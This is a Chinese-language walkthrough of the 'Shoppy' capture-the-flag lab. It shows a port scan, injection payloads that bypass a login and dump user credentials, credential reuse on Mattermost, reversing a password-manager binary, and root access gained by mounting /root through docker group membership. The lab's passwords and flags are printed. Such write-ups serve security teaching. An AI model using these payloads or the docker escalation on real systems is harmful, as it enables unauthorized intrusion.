[Meachines] [Easy] Shoppy Mattermost SQLi+逆向+Docker组权限提升

Tools

https://raw.githubusercontent.com/MartinxMax/FFbuster/refs/heads/main/ffbuster.sh

Information Gathering

IP AddressOpening Ports
10.10.11.180TCP:22,80,9093

$ ip='10.10.11.180'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title:             Shoppy Wait Page        
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Sat, 01 Mar 2025 02:23:32 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 5
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 5
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.2252e-05
|     go_gc_duration_seconds{quantile="0.25"} 2.4987e-05
|_    go_gc_dur
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.93%I=7%D=3/1%Time=67C273C3%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,2A74,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x
SF:20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20Sat,\x20
SF:01\x20Mar\x202025\x2002:23:32\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_a
SF:utomatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x2
SF:0generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_a
SF:utomatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_cycles_t
SF:otal\x205\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20Count\x2
SF:0of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20application\
SF:.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\ngo_gc_c
SF:ycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_total_gc_c
SF:ycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.\n#\x20
SF:TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cycles_tot
SF:al_gc_cycles_total\x205\n#\x20HELP\x20go_gc_duration_seconds\x20A\x20su
SF:mmary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20collection\
SF:x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_gc_dura
SF:tion_seconds{quantile=\"0\"}\x202\.2252e-05\ngo_gc_duration_seconds{qua
SF:ntile=\"0\.25\"}\x202\.4987e-05\ngo_gc_dur")%r(HTTPOptions,253A,"HTTP/1
SF:\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0\.4;\x2
SF:0charset=utf-8\r\nDate:\x20Sat,\x2001\x20Mar\x202025\x2002:23:32\x20GMT
SF:\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20Count\x2
SF:0of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go\x20run
SF:time\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20counter\
SF:ngo_gc_cycles_automatic_gc_cycles_total\x205\n#\x20HELP\x20go_gc_cycles
SF:_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cycles\x20
SF:forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_forced_
SF:gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\x200\n#
SF:\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x20all\x2
SF:0completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc_cycles
SF:_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x205\n#\x20HELP\x
SF:20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x20durat
SF:ion\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_gc_dura
SF:tion_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\x202\.2
SF:252e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x202\.4987e-05\ngo_
SF:gc_dur");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Mattermost SQLi

# echo "10.10.11.180 shoppy.htb">>/etc/hosts

$ ./ffbuster.sh -u 'http://shoppy.htb' -i '10.10.11.180' -s /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

http://shoppy.htb/login

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

username:admin' || 'X'=='X

image-1.png

http://shoppy.htb/admin/search-users?username=admin

image-3.png

image-2.png

http://shoppy.htb/admin/search-users?username=admin’;return%20’‘%20==%20’

image-4.png

image-5.png

password:remembermethisway

http://mattermost.shoppy.htb/login

image-6.png

username: jaeger
password: Sh0ppyBest@pp!

image-7.png

User.txt

8e835ecdb83ec826f7ac07dd4f18002c

Lateral Movement:RE

$ scp -r jaeger@10.10.11.180:/home/deploy/password-manager ./password-manager

获取用户端字符串与"Sample"密码做对比

image-8.png

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager

image-9.png

username: deploy
password: Deploying@pp!

image-10.png

Privilege Escalation:Docker Group Privilege Escalation

Docker 的守护进程(dockerd)需要以 root 用户权限运行,因此,能够与该守护进程通信的用户实际上拥有与 root 用户相当的权限。在大多数 Linux 系统中,docker 组的成员被授予与 Docker 守护进程通信的权限。这意味着,任何属于 docker 组的用户都可以执行 Docker 相关命令。

image-11.png

deploy@shoppy:~$ docker images

image-12.png

将本地/root目录挂载到容器/pe,通过容器访问root

deploy@shoppy:~$ docker run -it -v /root:/pe alpine

image-13.png

上传公钥登录root会话

image-14.png

Root.txt

e28b597b8e2e871377432a9407b711b5

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值